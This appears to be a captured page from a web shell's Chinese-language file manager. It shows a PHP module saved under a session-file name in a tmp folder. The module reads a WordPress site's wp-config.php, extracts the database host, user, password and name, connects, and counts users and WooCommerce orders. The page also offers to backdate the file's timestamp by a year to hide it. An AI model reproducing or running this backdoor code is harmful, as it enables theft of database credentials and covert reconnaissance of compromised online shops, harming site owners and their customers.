文件操作 - sess_65beb914521e3326955339d04393766ccms_wp
返回文件管理
返回主菜单
删除本文件
文件: /root/Desktop/tmp/mbdvd0/sess_65beb914521e3326955339d04393766ccms_wp
编辑文件内容
<?php class mbd_cms_wp { function __construct($core) { $this->core = $core; } function mysql_config() { $file = $this->core->root.'/wp-config.php'; if(!is_file($file)) return $this->core->out('not config file'); $file = $this->core->file_get($file); $result = array(); foreach(array('DB_HOST','DB_USER','DB_PASSWORD','DB_NAME') AS $i => $n) { if(preg_match('|'.$n.'(?:[\'\"\s\,]+)(.+)[\'\"]\s?\)|', $file, $a)) { $result[$i] = $a[1]; } else return $this->core->out('undefined '.$n); } $result[4] = preg_match('|\$table_prefix(?:[\'\"\s\=]+)(.+)[\'\"]|', $file, $a) ? $a[1] : 'wp_'; return $result; } function info() { $db = $this->core->load('mysql'); $db->connect($this->mysql_config()); $this->core->data->type = $db->type; $orders = $db->find('SELECT COUNT(*) FROM @P_posts WHERE post_type=\'shop_order\''); $data = array( 'users' => $db->find('SELECT COUNT(*) FROM @P_users'), 'orders' => $orders, 'date' => 0, ); $this->core->data->result = $data; } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件